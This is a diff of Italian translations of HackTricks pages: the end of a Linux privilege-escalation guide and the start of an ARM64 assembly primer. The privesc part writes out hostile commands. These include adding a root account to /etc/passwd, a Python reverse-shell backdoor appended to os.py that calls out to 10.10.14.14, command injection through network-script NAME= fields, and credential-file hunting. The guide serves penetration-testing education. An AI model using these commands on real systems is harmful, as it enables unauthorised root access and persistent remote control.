-- Vuoi che aggiunga anche il comando suggerito per creare l'utente (es. useradd && echo 'password' | passwd --stdin hacker) o soltanto che modifichi il file README aggiungendo la riga con l'utente e la password generata? - -Appena mi mandi il file e le preferenze, restituirò il markdown tradotto in italiano e includerò l'utente `hacker` con la password generata. +Quindi aggiungi l'utente `hacker` e imposta la password generata. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Es.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Esempio: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Ora puoi usare il comando `su` con `hacker:hacker` +Puoi ora usare il comando `su` con `hacker:hacker` In alternativa, puoi usare le seguenti righe per aggiungere un utente fittizio senza password.\ -ATTENZIONE: potresti ridurre il livello di sicurezza della macchina. +ATTENZIONE: potresti degradare la sicurezza attuale della macchina. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTA: Sulle piattaforme BSD `/etc/passwd` si trova in `/etc/pwd.db` e `/etc/master.passwd`, inoltre `/etc/shadow` è rinominato in `/etc/spwd.db`. +NOTA: Nelle piattaforme BSD `/etc/passwd` si trova in `/etc/pwd.db` e `/etc/master.passwd`, inoltre `/etc/shadow` è rinominato in `/etc/spwd.db`. -Dovresti verificare se puoi **scrivere in alcuni file sensibili**. Ad esempio, puoi scrivere in qualche **file di configurazione di servizio**? +Dovresti verificare se puoi **scrivere in alcuni file sensibili**. Per esempio, puoi scrivere in qualche **file di configurazione del servizio**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user @@ -1251,11 +1242,11 @@ La tua backdoor verrà eseguita la prossima volta che tomcat verrà avviato. ### Controlla le cartelle -Le seguenti cartelle possono contenere backup o informazioni interessanti: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probabilmente non sarai in grado di leggere l'ultima, ma prova) +Le seguenti cartelle possono contenere backup o informazioni interessanti: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probabilmente non potrai leggere l'ultima, ma prova) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Posizioni strane/Owned files +### Posizione strana/File owned ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1293,33 +1284,33 @@ find / -type f -iname ".*" -ls 2>/dev/null for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **File web** +### **File Web** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` -### **Copie di sicurezza** +### **Backup** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### File noti contenenti passwords +### File noti contenenti password -Leggi il codice di [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), cerca **diversi possibili file che potrebbero contenere passwords**.\ -**Un altro strumento interessante** che puoi usare per farlo è: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) che è un'applicazione open source usata per recuperare molte passwords memorizzate su un computer locale per Windows, Linux & Mac. +Leggi il codice di [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), cerca **diversi file che potrebbero contenere password**.\ +**Un altro strumento interessante** che puoi usare è: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) che è un'applicazione open source usata per recuperare molte password memorizzate su un computer locale per Windows, Linux & Mac. ### Log -Se puoi leggere i log, potresti trovare **informazioni interessanti/confidenziali al loro interno**. Più il log è strano, più sarà interessante (probabilmente).\ -Inoltre, alcuni **"bad"** audit logs configurati (backdoored?) potrebbero permetterti di **registrare passwords** all'interno degli audit logs come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Se puoi leggere i log, potresti riuscire a trovare **informazioni interessanti/confidenziali al loro interno**. Più il log è strano, più probabilmente sarà interessante.\ +Inoltre, alcuni **"bad"** configurati (compromessi?) **audit logs** possono permetterti di **registrare password** all'interno degli audit logs come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Per poter leggere i log, il gruppo [**adm**](interesting-groups-linux-pe/index.html#adm-group) sarà molto utile. +Per leggere i log il gruppo [**adm**](interesting-groups-linux-pe/index.html#adm-group) sarà davvero utile. -### Shell files +### File di shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1332,43 +1323,43 @@ Per poter leggere i log, il gruppo [**adm**](interesting-groups-linux-pe/index.h ``` ### Generic Creds Search/Regex -Dovresti anche controllare file che contengono la parola "**password**" nel loro **nome** o nel **contenuto**, e controllare anche IPs e emails nei logs, oppure hashes regexps.\ -Non elencherò qui come fare tutto questo, ma se sei interessato puoi controllare gli ultimi controlli che [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) esegue. +Dovresti anche cercare file che contengono la parola "**password**" nel loro **nome** o nel **contenuto**, e controllare anche IPs e emails all'interno dei logs, o hashes regexps.\ +Non elencherò qui come fare tutto questo, ma se sei interessato puoi controllare gli ultimi controlli che [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. -## Writable files +## File scrivibili ### Python library hijacking -Se sai da **dove** verrà eseguito uno script python e **puoi scrivere in** quella cartella oppure puoi **modify python libraries**, puoi modificare la libreria OS e backdoor it (se puoi scrivere dove lo script python verrà eseguito, copia e incolla la libreria os.py). +Se sai da **dove** verrà eseguito uno script python e **puoi scrivere dentro** quella cartella o puoi **modificare python libraries**, puoi modificare la libreria os e inserirci una backdoor (se puoi scrivere nel percorso in cui verrà eseguito lo script python, copia e incolla la libreria os.py). -Per **backdoor the library** basta aggiungere alla fine della libreria os.py la seguente riga (cambia IP e PORT): +To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Sfruttamento di logrotate -Una vulnerabilità in `logrotate` permette agli utenti con **permessi di scrittura** su un file di log o sulle sue directory madri di ottenere potenzialmente privilegi elevati. Questo perché `logrotate`, spesso eseguito come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante verificare i permessi non solo in _/var/log_ ma anche in qualsiasi directory in cui viene applicata la rotazione dei log. +Una vulnerabilità in `logrotate` permette agli utenti con **permessi di scrittura** su un file di log o sulle sue directory padre di ottenere potenzialmente privilegi elevati. Questo perché `logrotate`, spesso in esecuzione come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory dove viene applicata la rotazione dei log. > [!TIP] > Questa vulnerabilità interessa `logrotate` versione `3.18.0` e precedenti -Maggiori informazioni sulla vulnerabilità sono disponibili qui: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Maggiori informazioni sulla vulnerabilità sono disponibili a questa pagina: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Puoi sfruttare questa vulnerabilità con [**logrotten**](https://github.com/whotwagner/logrotten). +È possibile sfruttare questa vulnerabilità con [**logrotten**](https://github.com/whotwagner/logrotten). -Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** quindi quando trovi che puoi modificare i logs, verifica chi gestisce quei logs e controlla se puoi escalare i privilegi sostituendo i logs con symlinks. +Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** quindi ogni volta che scopri di poter modificare i log, controlla chi gestisce quei log e verifica se puoi ottenere l'escalation dei privilegi sostituendo i log con symlink. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Se, per qualsiasi motivo, un utente è in grado di **scrivere** uno script `ifcf-` in _/etc/sysconfig/network-scripts_ **oppure** può **modificare** uno esistente, allora il tuo **sistema è pwned**. +Se, per qualsiasi motivo, un utente è in grado di **scrivere** uno script `ifcf-` in _/etc/sysconfig/network-scripts_ **o** può **modificare** uno esistente, allora il tuo **sistema è pwned**. -Gli script di rete, ad esempio _ifcg-eth0_, sono usati per le connessioni di rete. Sembrano esattamente file .INI. Tuttavia, vengono \~sourced\~ su Linux da Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ per esempio sono usati per connessioni di rete. Assomigliano esattamente a file .INI. Tuttavia, sono ~sourced~ su Linux da Network Manager (dispatcher.d). -Nel mio caso, l'attributo `NAME=` in questi script di rete non viene gestito correttamente. Se hai **spazio bianco/blank nel nome il sistema prova a eseguire la parte dopo lo spazio bianco/blank**. Questo significa che **tutto ciò che segue il primo spazio viene eseguito come root**. +Nel mio caso, l'attributo `NAME=` in questi script di rete non viene gestito correttamente. Se hai **uno spazio bianco nel nome il sistema tenta di eseguire la parte dopo lo spazio bianco**. Questo significa che **tutto ciò che segue il primo spazio viene eseguito come root**. -Ad esempio: _/etc/sysconfig/network-scripts/ifcfg-1337_ +Per esempio: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes @@ -1376,13 +1367,13 @@ DEVICE=eth0 ``` (_Nota lo spazio vuoto tra Network e /bin/id_) -### **init, init.d, systemd e rc.d** +### **init, init.d, systemd, e rc.d** -La directory `/etc/init.d` è la sede di **script** per System V init (SysVinit), il **classico sistema di gestione dei servizi Linux**. Include script per `start`, `stop`, `restart`, e talvolta `reload` dei servizi. Questi possono essere eseguiti direttamente o tramite collegamenti simbolici presenti in `/etc/rc?.d/`. Un percorso alternativo nei sistemi Redhat è `/etc/rc.d/init.d`. +La directory `/etc/init.d` ospita gli **scripts** per System V init (SysVinit), il **classico sistema di gestione dei servizi Linux**. Contiene script per `start`, `stop`, `restart` e talvolta `reload` dei servizi. Questi possono essere eseguiti direttamente o tramite collegamenti simbolici trovati in `/etc/rc?.d/`. Un percorso alternativo nei sistemi Redhat è `/etc/rc.d/init.d`. -D'altro canto, `/etc/init` è associata a **Upstart**, una soluzione più recente di **gestione dei servizi** introdotta da Ubuntu, che utilizza file di configurazione per le attività di gestione dei servizi. Nonostante la transizione a Upstart, gli script SysVinit sono ancora utilizzati insieme alle configurazioni di Upstart grazie a uno strato di compatibilità in Upstart. +D'altra parte, `/etc/init` è associata a **Upstart**, un più recente sistema di **service management** introdotto da Ubuntu, che usa file di configurazione per le attività di gestione dei servizi. Nonostante la transizione a Upstart, gli script SysVinit sono ancora utilizzati insieme alle configurazioni di Upstart grazie a un livello di compatibilità in Upstart. -**systemd** emerge come un moderno gestore di inizializzazione e dei servizi, offrendo funzionalità avanzate come l'avvio on-demand dei daemon, la gestione degli automount e gli snapshot dello stato del sistema. Organizza i file in `/usr/lib/systemd/` per i pacchetti di distribuzione e `/etc/systemd/system/` per le modifiche dell'amministratore, semplificando il processo di amministrazione del sistema. +**systemd** è emerso come un moderno gestore di init e servizi, offrendo funzionalità avanzate come avvio di daemon on-demand, gestione degli automount e snapshot dello stato del sistema. Organizza i file in `/usr/lib/systemd/` per i pacchetti di distribuzione e `/etc/systemd/system/` per le modifiche dell'amministratore, semplificando il processo di amministrazione del sistema. ## Altri Trucchi @@ -1409,25 +1400,25 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -I framework di rooting Android comunemente hook una syscall per esporre funzionalità privilegiate del kernel a un manager in userspace. Un'autenticazione debole del manager (es. controlli di firma basati sull'ordine degli FD o schemi di password scadenti) può consentire a un'app locale di impersonare il manager e ottenere escalation a root su dispositivi già rootati. Scopri di più e i dettagli di exploitation qui: +I framework di Android rooting comunemente agganciano una syscall per esporre funzionalità privilegiate del kernel a un manager in userspace. Un'autenticazione debole del manager (es. controlli di firma basati su FD-order o schemi di password poveri) può permettere a un'app locale di impersonare il manager e ottenere root su dispositivi già rootati. Per saperne di più e dettagli sull'exploitation, vedi: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Protezioni di Sicurezza del Kernel +## Protezioni di sicurezza del kernel - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Più aiuto +## Ulteriore aiuto [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Linux/Unix Privesc Tools +## Strumenti Linux/Unix Privesc -### **Miglior tool per cercare vettori di local privilege escalation su Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ @@ -1438,7 +1429,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (accesso fisico):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**Raccolta di altri script**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## Riferimenti diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index 39faa0e42..692c7dec2 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -1,255 +1,258 @@ -# Introduzione all'ARM64v8 +# Introduzione ad ARM64v8 {{#include ../../../banners/hacktricks-training.md}} -## **Livelli di Eccezione - EL (ARM64v8)** +## **Livelli di eccezione - EL (ARM64v8)** -Nell'architettura ARMv8, i livelli di esecuzione, noti come Livelli di Eccezione (EL), definiscono il livello di privilegio e le capacità dell'ambiente di esecuzione. Ci sono quattro livelli di eccezione, che vanno da EL0 a EL3, ognuno con uno scopo diverso: +Nell'architettura ARMv8, i livelli di esecuzione, noti come Exception Levels (EL), definiscono il livello di privilegi e le capacità dell'ambiente di esecuzione. Ci sono quattro livelli di eccezione, che vanno da EL0 a EL3, ognuno con uno scopo diverso: -1. **EL0 - Modalità Utente**: -- Questo è il livello meno privilegiato ed è utilizzato per eseguire codice di applicazione regolare. -- Le applicazioni che girano a EL0 sono isolate l'una dall'altra e dal software di sistema, migliorando la sicurezza e la stabilità. -2. **EL1 - Modalità Kernel del Sistema Operativo**: -- La maggior parte dei kernel dei sistemi operativi gira a questo livello. -- EL1 ha più privilegi di EL0 e può accedere alle risorse di sistema, ma con alcune restrizioni per garantire l'integrità del sistema. -3. **EL2 - Modalità Hypervisor**: -- Questo livello è utilizzato per la virtualizzazione. Un hypervisor che gira a EL2 può gestire più sistemi operativi (ciascuno nel proprio EL1) che girano sullo stesso hardware fisico. +1. **EL0 - User Mode**: +- Questo è il livello meno privilegiato ed è usato per eseguire codice applicativo normale. +- Le applicazioni che girano in EL0 sono isolate l'una dall'altra e dal software di sistema, migliorando sicurezza e stabilità. +2. **EL1 - Operating System Kernel Mode**: +- La maggior parte dei kernel degli OS gira a questo livello. +- EL1 ha più privilegi rispetto a EL0 e può accedere a risorse di sistema, ma con alcune restrizioni per garantire l'integrità del sistema. +3. **EL2 - Hypervisor Mode**: +- Questo livello è usato per la virtualizzazione. Un hypervisor che gira in EL2 può gestire più sistemi operativi (ognuno nel proprio EL1) sullo stesso hardware fisico. - EL2 fornisce funzionalità per l'isolamento e il controllo degli ambienti virtualizzati. -4. **EL3 - Modalità Monitor Sicuro**: -- Questo è il livello più privilegiato ed è spesso utilizzato per l'avvio sicuro e gli ambienti di esecuzione fidati. -- EL3 può gestire e controllare gli accessi tra stati sicuri e non sicuri (come l'avvio sicuro, OS fidato, ecc.). +4. **EL3 - Secure Monitor Mode**: +- Questo è il livello più privilegiato ed è spesso usato per secure boot e ambienti di esecuzione fidati. +- EL3 può gestire e controllare gli accessi tra stati secure e non-secure (come secure boot, trusted OS, ecc.). -L'uso di questi livelli consente un modo strutturato e sicuro per gestire diversi aspetti del sistema, dalle applicazioni utente al software di sistema più privilegiato. L'approccio di ARMv8 ai livelli di privilegio aiuta a isolare efficacemente i diversi componenti del sistema, migliorando così la sicurezza e la robustezza del sistema. +L'uso di questi livelli permette un modo strutturato e sicuro per gestire i diversi aspetti del sistema, dalle applicazioni utente al software di sistema più privilegiato. L'approccio di ARMv8 ai livelli di privilegio aiuta a isolare efficacemente i diversi componenti del sistema, migliorando la sicurezza e la robustezza. -## **Registri (ARM64v8)** +## **Registers (ARM64v8)** -ARM64 ha **31 registri a uso generale**, etichettati da `x0` a `x30`. Ognuno può memorizzare un valore **a 64 bit** (8 byte). Per le operazioni che richiedono solo valori a 32 bit, gli stessi registri possono essere accessibili in modalità a 32 bit utilizzando i nomi w0 a w30. +ARM64 ha **31 registri generali**, etichettati `x0` fino a `x30`. Ognuno può contenere un valore **64-bit** (8 byte). Per operazioni che richiedono solo valori a 32-bit, gli stessi registri possono essere accessi in modalità 32-bit usando i nomi `w0` fino a `w30`. -1. **`x0`** a **`x7`** - Questi sono tipicamente utilizzati come registri temporanei e per passare parametri a sottoprogrammi. -- **`x0`** porta anche i dati di ritorno di una funzione. -2. **`x8`** - Nel kernel Linux, `x8` è utilizzato come numero di chiamata di sistema per l'istruzione `svc`. **In macOS è `x16` quello utilizzato!** -3. **`x9`** a **`x15`** - Altri registri temporanei, spesso utilizzati per variabili locali. -4. **`x16`** e **`x17`** - **Registri di Chiamata Intra-procedurale**. Registri temporanei per valori immediati. Sono anche utilizzati per chiamate di funzione indirette e stub della PLT (Procedure Linkage Table). -- **`x16`** è utilizzato come **numero di chiamata di sistema** per l'istruzione **`svc`** in **macOS**. -5. **`x18`** - **Registro della piattaforma**. Può essere utilizzato come registro a uso generale, ma su alcune piattaforme, questo registro è riservato per usi specifici della piattaforma: Puntatore al blocco di ambiente del thread locale in Windows, o per puntare alla struttura del task attualmente **in esecuzione nel kernel linux**. -6. **`x19`** a **`x28`** - Questi sono registri salvati dal chiamato. Una funzione deve preservare i valori di questi registri per il suo chiamante, quindi vengono memorizzati nello stack e recuperati prima di tornare al chiamante. -7. **`x29`** - **Puntatore di Frame** per tenere traccia del frame dello stack. Quando viene creato un nuovo frame dello stack a causa di una chiamata di funzione, il registro **`x29`** è **memorizzato nello stack** e il **nuovo** indirizzo del puntatore di frame è (**indirizzo `sp`**) **memorizzato in questo registro**. -- Questo registro può anche essere utilizzato come **registro a uso generale** anche se di solito è usato come riferimento a **variabili locali**. -8. **`x30`** o **`lr`** - **Registro di Link**. Tiene l'**indirizzo di ritorno** quando viene eseguita un'istruzione `BL` (Branch with Link) o `BLR` (Branch with Link to Register) memorizzando il valore **`pc`** in questo registro. -- Può anche essere utilizzato come qualsiasi altro registro. -- Se la funzione corrente sta per chiamare una nuova funzione e quindi sovrascrivere `lr`, lo memorizzerà nello stack all'inizio, questo è l'epilogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Memorizza `fp` e `lr`, genera spazio e ottiene un nuovo `fp`) e lo recupera alla fine, questo è il prologo (`ldp x29, x30, [sp], #48; ret` -> Recupera `fp` e `lr` e ritorna). -9. **`sp`** - **Puntatore dello Stack**, utilizzato per tenere traccia della cima dello stack. -- il valore **`sp`** dovrebbe sempre essere mantenuto almeno a un **allineamento** **quadword** o potrebbe verificarsi un'eccezione di allineamento. -10. **`pc`** - **Contatore di Programma**, che punta alla prossima istruzione. Questo registro può essere aggiornato solo attraverso generazioni di eccezione, ritorni di eccezione e salti. Le uniche istruzioni ordinarie che possono leggere questo registro sono le istruzioni di salto con link (BL, BLR) per memorizzare l'indirizzo **`pc`** in **`lr`** (Link Register). -11. **`xzr`** - **Registro Zero**. Chiamato anche **`wzr`** nella sua forma di registro **a 32** bit. Può essere utilizzato per ottenere facilmente il valore zero (operazione comune) o per eseguire confronti utilizzando **`subs`** come **`subs XZR, Xn, #10`** memorizzando i dati risultanti da nessuna parte (in **`xzr`**). +1. **`x0`** a **`x7`** - Tipicamente usati come registri temporanei e per passare parametri a sottoprocedure. +- **`x0`** inoltre contiene i dati di ritorno di una funzione +2. **`x8`** - Nel kernel Linux, `x8` è usato come numero di system call per l'istruzione `svc`. **In macOS l'x16 è quello usato!** +3. **`x9`** a **`x15`** - Altri registri temporanei, spesso usati per variabili locali. +4. **`x16`** e **`x17`** - **Intra-procedural Call Registers**. Registri temporanei per valori immediati. Sono anche usati per chiamate di funzione indirette e PLT stubs. +- **`x16`** è usato come **system call number** per l'istruzione **`svc`** in **macOS**. +5. **`x18`** - **Platform register**. Può essere usato come registro generale, ma su alcune piattaforme questo registro è riservato a usi specifici della piattaforma: puntatore al current thread environment block in Windows, o per puntare alla struttura del task attualmente **eseguito nel linux kernel**. +6. **`x19`** a **`x28`** - Sono registri callee-saved. Una funzione deve preservare i valori di questi registri per il chiamante, quindi vengono salvati nello stack e recuperati prima di tornare al chiamante. +7. **`x29`** - **Frame pointer** per tenere traccia del frame dello stack. Quando viene creato un nuovo stack frame perché viene chiamata una funzione, il registro **`x29`** viene **salvato nello stack** e il nuovo indirizzo del frame pointer (l'indirizzo di **`sp`**) viene **memorizzato in questo registro**. +- Questo registro può anche essere usato come **registro generale** anche se solitamente è usato come riferimento per le **variabili locali**. +8. **`x30`** o **`lr`** - **Link register**. Contiene l'**indirizzo di ritorno** quando viene eseguita un'istruzione `BL` (Branch with Link) o `BLR` (Branch with Link to Register) memorizzando il valore del **`pc`** in questo registro. +- Può anche essere usato come qualsiasi altro registro. +- Se la funzione corrente chiamerà una nuova funzione e quindi sovrascriverà `lr`, verrà salvato nello stack all'inizio; questo è l'epilogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Store `fp` and `lr`, generate space and get new `fp`) e verrà recuperato alla fine; questo è il prologo (`ldp x29, x30, [sp], #48; ret` -> Recover `fp` and `lr` and return). +9. **`sp`** - **Stack pointer**, usato per tenere traccia della cima dello stack. +- Il valore di **`sp`** deve sempre essere mantenuto almeno con un'allineamento a **quadword**, altrimenti può verificarsi un'eccezione di allineamento. +10. **`pc`** - **Program counter**, che punta alla prossima istruzione. Questo registro può essere aggiornato solo tramite generazione di eccezioni, ritorni da eccezioni e branch. Le uniche istruzioni ordinarie che possono leggere questo registro sono le istruzioni branch with link (BL, BLR) che memorizzano l'indirizzo del **`pc`** in **`lr`** (Link Register). +11. **`xzr`** - **Zero register**. Chiamato anche **`wzr`** nella sua forma a **32** bit. Può essere usato per ottenere facilmente il valore zero (operazione comune) o per eseguire confronti usando **`subs`** come **`subs XZR, Xn, #10`** che non memorizza il risultato da nessuna parte (in **`xzr`**). -I registri **`Wn`** sono la versione **a 32 bit** del registro **`Xn`**. +I registri **`Wn`** sono la versione **32bit** del registro **`Xn`**. -### Registri SIMD e Floating-Point +> [!TIP] +> I registri da X0 a X18 sono volatili, il che significa che i loro valori possono essere cambiati da chiamate di funzione e interrupt. Tuttavia, i registri da X19 a X28 sono non-volatili, quindi i loro valori devono essere preservati attraverso le chiamate di funzione ("callee saved"). -Inoltre, ci sono altri **32 registri di lunghezza 128 bit** che possono essere utilizzati in operazioni ottimizzate di dati multipli a singola istruzione (SIMD) e per eseguire aritmetica in virgola mobile. Questi sono chiamati registri Vn anche se possono operare anche in **64** bit, **32** bit, **16** bit e **8** bit e poi sono chiamati **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**. +### SIMD and Floating-Point Registers -### Registri di Sistema +Inoltre, ci sono altri **32 registri di lunghezza 128bit** che possono essere usati in operazioni SIMD ottimizzate e per eseguire operazioni in virgola mobile. Questi sono chiamati registri Vn anche se possono operare in **64**-bit, **32**-bit, **16**-bit e **8**-bit e in quei casi sono chiamati **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**. -**Ci sono centinaia di registri di sistema**, chiamati anche registri a scopo speciale (SPRs), utilizzati per **monitorare** e **controllare** il comportamento dei **processori**.\ -Possono essere letti o impostati solo utilizzando le istruzioni speciali dedicate **`mrs`** e **`msr`**. +### System Registers -I registri speciali **`TPIDR_EL0`** e **`TPIDDR_EL0`** si trovano comunemente durante il reverse engineering. Il suffisso `EL0` indica l'**eccezione minima** da cui il registro può essere accessibile (in questo caso EL0 è il livello di eccezione regolare (privilegio) con cui girano i programmi regolari).\ -Sono spesso utilizzati per memorizzare l'**indirizzo base della regione di memoria dello storage locale del thread**. Di solito il primo è leggibile e scrivibile per i programmi che girano in EL0, ma il secondo può essere letto da EL0 e scritto da EL1 (come il kernel). +**Esistono centinaia di system registers**, chiamati anche special-purpose registers (SPRs), usati per **monitorare** e **controllare** il comportamento dei **processori**.\ +Possono essere letti o impostati solo usando le istruzioni dedicate speciali **`mrs`** e **`msr`**. -- `mrs x0, TPIDR_EL0 ; Leggi TPIDR_EL0 in x0` -- `msr TPIDR_EL0, X0 ; Scrivi x0 in TPIDR_EL0` +I registri speciali **`TPIDR_EL0`** e **`TPIDDR_EL0`** si trovano comunemente durante il reverse engineering. Il suffisso `EL0` indica il **livello minimo di eccezione** dal quale il registro può essere accessibile (in questo caso EL0 è il livello di eccezione regolare con cui girano i programmi normali).\ +Spesso sono usati per memorizzare l'**indirizzo base del thread-local storage** nella memoria. Di solito il primo è leggibile e scrivibile per i programmi in EL0, ma il secondo può essere letto da EL0 e scritto da EL1 (come il kernel). + +- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0` +- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0` ### **PSTATE** -**PSTATE** contiene diversi componenti del processo serializzati nel registro speciale visibile dal sistema operativo **`SPSR_ELx`**, essendo X il **livello di permesso** **dell'eccezione** attivata (questo consente di recuperare lo stato del processo quando l'eccezione termina).\ +**PSTATE** contiene diversi componenti di processo serializzati nel registro speciale visibile al sistema operativo **`SPSR_ELx`**, dove X è il **livello di permessi dell'eccezione generata** (questo permette di recuperare lo stato del processo quando l'eccezione termina).\ Questi sono i campi accessibili:
- I flag di condizione **`N`**, **`Z`**, **`C`** e **`V`**: -- **`N`** significa che l'operazione ha prodotto un risultato negativo. -- **`Z`** significa che l'operazione ha prodotto zero. -- **`C`** significa che l'operazione ha generato un riporto. -- **`V`** significa che l'operazione ha prodotto un overflow firmato: -- La somma di due numeri positivi produce un risultato negativo. -- La somma di due numeri negativi produce un risultato positivo. -- Nella sottrazione, quando un grande numero negativo viene sottratto da un numero positivo più piccolo (o viceversa), e il risultato non può essere rappresentato all'interno dell'intervallo della dimensione di bit data. -- Ovviamente il processore non sa se l'operazione è firmata o meno, quindi controllerà C e V nelle operazioni e indicherà se si è verificato un riporto nel caso fosse firmato o non firmato. +- **`N`** indica che l'operazione ha prodotto un risultato negativo +- **`Z`** indica che l'operazione ha prodotto zero +- **`C`** indica che l'operazione ha generato un carry +- **`V`** indica che l'operazione ha prodotto un overflow con segno: +- La somma di due numeri positivi restituisce un risultato negativo. +- La somma di due numeri negativi restituisce un risultato positivo. +- Nella sottrazione, quando un grande numero negativo viene sottratto da un numero positivo più piccolo (o viceversa), e il risultato non può essere rappresentato nell'intervallo del dato bit-size. +- Ovviamente il processore non sa se l'operazione è con segno o no, quindi controllerà C e V nelle operazioni e indicherà se è avvenuto un carry nel caso fosse segnata o unsigned. > [!WARNING] -> Non tutte le istruzioni aggiornano questi flag. Alcune come **`CMP`** o **`TST`** lo 